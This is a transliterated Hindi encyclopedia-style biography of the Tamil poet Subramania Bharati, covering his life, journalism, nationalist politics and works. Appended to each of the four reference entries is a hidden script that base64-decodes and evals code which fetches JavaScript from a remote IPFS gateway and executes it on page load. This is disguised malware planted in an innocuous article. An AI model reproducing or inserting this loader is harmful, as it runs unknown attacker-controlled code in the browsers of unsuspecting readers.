सुब्रह्मण्य भारती
subrahmany bharati
| |
| poora nam | subrahmany bharati |
| any nam | mahakavi bharatiyar |
| janm | 11 disambar, 1882 |
| janm bhoomi | gaanv ettiyapuram, tamilanadu |
| mrityu | 11 sitambar, 1921 |
| mrityu sthan | chennee |
| karm bhoomi | bharat |
| karm-kshetr | tamil kavy |
| mukhy rachanaean | 'svadesh mitram', 'chakravartini', 'indiya', 'sooryodayam', 'karmayogi' adi. |
| bhasha | tamil |
| nagarikata | bharatiy |
| vishesh | subrahmany bharati ka priy gan bankim chandr ka vande mataramh tha. yah gan unaka jivan pran ban gaya tha. unhoanne is git ka usi lay mean tamil mean padyanuvad kiya, jo age chalakar tamilanadu ke ghar-ghar mean gooanj utha. |
| any janakari | subrahmany bharati ne mata-pita ko khone ke du:kh ko apane kavy mean dhal liya. isase unaki khyati charoan or phail gayi. sthaniy samant ke darabar mean unaka samman hua aur unhean ‘bharati’ ki upadhi di gayi. |
| inhean bhi dekhean | kavi soochi, sahityakar soochi |
subrahmany bharati (aangrezi: Subramania Bharati, janm: 11 disambar, 1882 - mrityu: 11 sitambar, 1921) bharat ke mahanh kaviyoan mean se ek the, jinhoanne tamil bhasha mean kavy rachanaean kian. inhean mahakavi bharatiyar ke nam se bhi jana jata hai. bharati ek jujharoo shikshak, deshapremi aur mahanh kavi the. apaki desh prem ki kavitaean itani shreshth haian ki apako bharati upanam se hi pukara jane laga. tamil bhasha ke mahakavi subramanyam bharati aise sahityakar the, jo sakriy roop se 'svatantrata aandolan' mean shamil rahe, jabaki unaki rachanaoan se prerit hokar dakshin bharat mean am log azadi ki l daee mean kood p de. ye aise mahanh kaviyoan mean se ek the, jinaki pak d hiandi, bangali, sanskrit, aangrezi adi kee bhashaoan par thi, par tamil unake lie sabase priy aur mithi bhasha thi. unaka 'gady' aur 'pady' donoan vidhaoan par saman adhikar tha.
parichay
subrahmany bharati ka janm 11 disanbar, 1882 ko ek tamil gaanv ettiyapuram, tamilanadu mean hua tha. shuroo se hi vah vilakshan pratibha ke dhani the aur kam samay mean hi unhoanne sangit ka bhi achchha jnan prapt kar liya tha. 11 varsh ki ayu mean unhean kaviyoan ke ek sammelan mean amantrit kiya gaya, jahaan unaki pratibha ko dekhate hue bharati ko jnan ki devi sarasvati ka khitab diya gaya tha. bharati jab paanch varsh ke hi the, tabhi unaki mata ka nidhan ho gaya. bad mean pita ka nidhan bhi jaldi ho gaya. 11 varsh ki hi alp avastha mean unaka vivah kar diya gaya. vah kam umr mean hi varanasi apani bua ke pas a ge the, jahaan unaka parichay adhyatm aur rashtravad se hua. isaka unake jivan par kafi prabhav p da aur unaki soch mean kafi badalav a gaya.
kashi pravas
char sal ke kashivas mean bharati ne sanskrit, hindi aur aangrezi bhasha ka adhyayan kiya. aangrezi bhasha ke kavi 'sheli' se ve vishesh prabhavit the. unhoanne ettayapuramh mean ‘sheliyan gild’ namak sanstha bhi banaee tatha ‘shelidasanh’ upanam se anek rachanaean likhian. kashi mean hi unhean rashtriy chetana ki shiksha mili, jo age chalakar unake kavy ka mukhy svar ban gayi. kashi mean unaka sampark bharatendu harishchandr dvara nirmit ‘harishchandr mandal’ se raha. kashi mean unhoanne kuchh samay ek vidyalay mean adhyapan kiya. vahaan unaka sampark shrimati d aau. eni beseant se hua, par ve unake vicharoan se poornatah sahamat nahian the. ek bar unhoanne apane avas 'shaiv math' mean mahapandit sitaram shastri ki adhyakshata mean sarasvati pooja ka ayojan kiya. bharati ne apane bhashan mean nari shiksha, samaj sudhar, videshi vastuoan ka bahishkar aur svabhasha ki unnati par zor diya. adhyaksh mahoday ne isaka prativad kiya. phalatah bahas hone lagi aur antatah sabha visarjit karani p di.
patrakarita
bad mean bharati ne jnan ke mahatv ko samajha aur patrakarita ke kshetr mean uanaki atyadhik ruchi rahi. is samay vah kee samachar patroan ke prakashan aur sanpadan se ju d gaye. in samachar patroan mean tamil dainik 'svadesh mitram', tamil saptahik 'iandiya' aur aangezi saptahik 'bala bharatam' shamil hai. unhoanne apane samachar patroan mean vyangyatmak rajanitik kartoon ka prakashan shuroo kiya tha.
rachana sansar
in patroan se n sirph vah logoan ko apekshit jnan dilane mean saphal rahe balki unaki rachanaoan ka bhi prakashan hua. usi samay unaki rachanadharmita charam par thi. unaki rachanaoan mean ek or jahaan goodh dharmik batean hoti thi vahian roos aur phraans ki kraanti tak ki janakari hoti thi. vah samaj ke vanchit varg aur nirdhan logoan ki behatari ke lie prayasarat rahate the.
rajaniti aur sangit
bharati 1907 ki aitihasik soorat kaangres mean shamil hue the jisane naram dal aur garam dal ke bich ki tasvir spasht kar di thi. bharati ne tilak aravind tatha any netaoan ke garam dal ka samarthan kiya tha. isake bad vah poori tarah se lekhan aur rajanitik gatividhiyoan mean shamil ho ge. varsh 1908 mean iandiya ke malik ko madras mean giraphtar kar liya gaya aur unaki giraftari bhi ki jani thi. giraftari se bachane ke lie vah paandicheri chale ge jo un dinoan phraansisi shasan mean tha. bharati paandicheri mean bhi kee samachar patroan ke prakashan sanpadan se ju de rahe aur aangrejoan ke khilaf logoan mean deshabhakti ki alakh jagate rahe. paandicheri mean pravas ke dinoan mean vah garam dal ke kee pramukh netaoan ke sanpark mean rahe. vahaan unhoanne karmayogi tatha arya ke sanpadan mean aravind ki sahayata bhi ki thi. unhoanne sangit ke kshetr mean bhi kafi kam kiya. unake kuchh git abhi bhi karnataki sangit kansart mean behad lokapriy haian. [1] aangrej shasan ke viruddh svarajy sabha ke ayojan ke lie bharati ko jel jana p da. kolakata jakar unhoanne bam banana, pistaul chalana aur gurilla yuddh ka bhi prashikshan liya. ve garam dal ke neta lokamany tilak ke sampark mean bhi rahe. bharati ne nanasahab peshava ko madras mean chhipakar rakha. shasan ki najar se bachane ke lie ve pandicheri a gaye aur vahaan se svarajy sadhana karate rahe. nirdhan chhatroan ko ve apani ay se sahayog karate the. 1917 mean ve gandhi ji ke sampark mean aye aur 1920 ke asahayog andolan mean bhi sahabhagi hue.[2]
svami vivekanand ka prabhav
dakshin ke suprasiddh kavi shri subrahmany bharati ji ki praranbhik kavitaoan mean tamil rashtravad ka ullekh milata hai, kintu svami vivekanand ke prabhav mean ane ke bad unaki jivan ke uttarardh mean likhi kavitayean bharatiy hindoo rashtravad ka gunagan karati haian. unhoanne apani atmakatha mean svikar kiya ki yah parivartan unaki guru bhagini nivedita aur svamiji ke karan utpann hua. deshabhakti se otaprot svamiji ke bhashanoan dvara paida ki gee vicharoan ki chiangari ka asar vir savarakar tatha lokamany bal gangadhar tilak jaise rashtrabhaktoan par bhi dikhaee deta hai. [3]
bharati ki upadhi
subrahmany bharati ne mata pita ko khone ke du:kh ko apane kavy mean dhal liya. isase unaki khyati charoan or phail gayi. sthaniy samant ke darabar mean unaka samman hua aur unhean ‘bharati’ ki upadhi di gayi.
priy gana
bharati ka priy gan bankim chandr ka 'vande mataramh' tha. 1905 mean kashi mean hue 'kaangres adhiveshan' mean suprasiddh gayika sarala devi ne yah git gaya. bharati bhi us adhiveshan mean the. bas tabhi se yah gan unaka jivan pran ban gaya. madras lautakar bharati ne us git ka usi lay mean tamil mean padyanuvad kiya, jo age chalakar tamilanadu ke ghar-ghar mean gooanj utha.
rachanaean
subrahmany bharati ne jahaan gady aur pady ki lagabhag 400 rachanaoan ka srijan kiya, vahaan unhoanne 'svadesh mitram', 'chakravartini', 'indiya', 'sooryodayam', 'karmayogi' adi tamil patroan tatha 'bal bharat' namak aangrezi saptahik ke sampadan mean bhi sahayog kiya.[4]
nidhan
bharati 1918 mean british bharat mean laute aur unhean turant giraftar kar liya gaya. unhean kuchh dinoan tak jel mean rakha gaya. bad ke dinoan mean unaka svasthy kharab rahane laga aur 11 sitanbar, 1921 ko madras mean unaka nidhan ho gaya. bharati 40 sal se bhi kam samay tak jivit rahe aur is alpavadhi mean bhi unhoanne vibhinn kshetroan mean kafi kam kiya. unaki rachanaoan ki lokapriyata ne unhean amar bana diya.
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tika tippani aur sandarbh
- ↑ subrahmany bharati (hiandi). . abhigaman tithi: 6 pharavari, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ tamil kavy mean rashtravadi svar : subrahmany bharati (hiandi) har din pavan. abhigaman tithi: 6 pharavari, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ svadhinata andolan aur svami vivekanand (hiandi) vichar manthan. abhigaman tithi: 6 pharavari, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ tamil kavy mean rashtravadi svar : subrahmany bharati (hiandi) har din pavan. abhigaman tithi: 6 pharavari, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
sanbandhit lekh
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varnamala kramanusar lekh khoj
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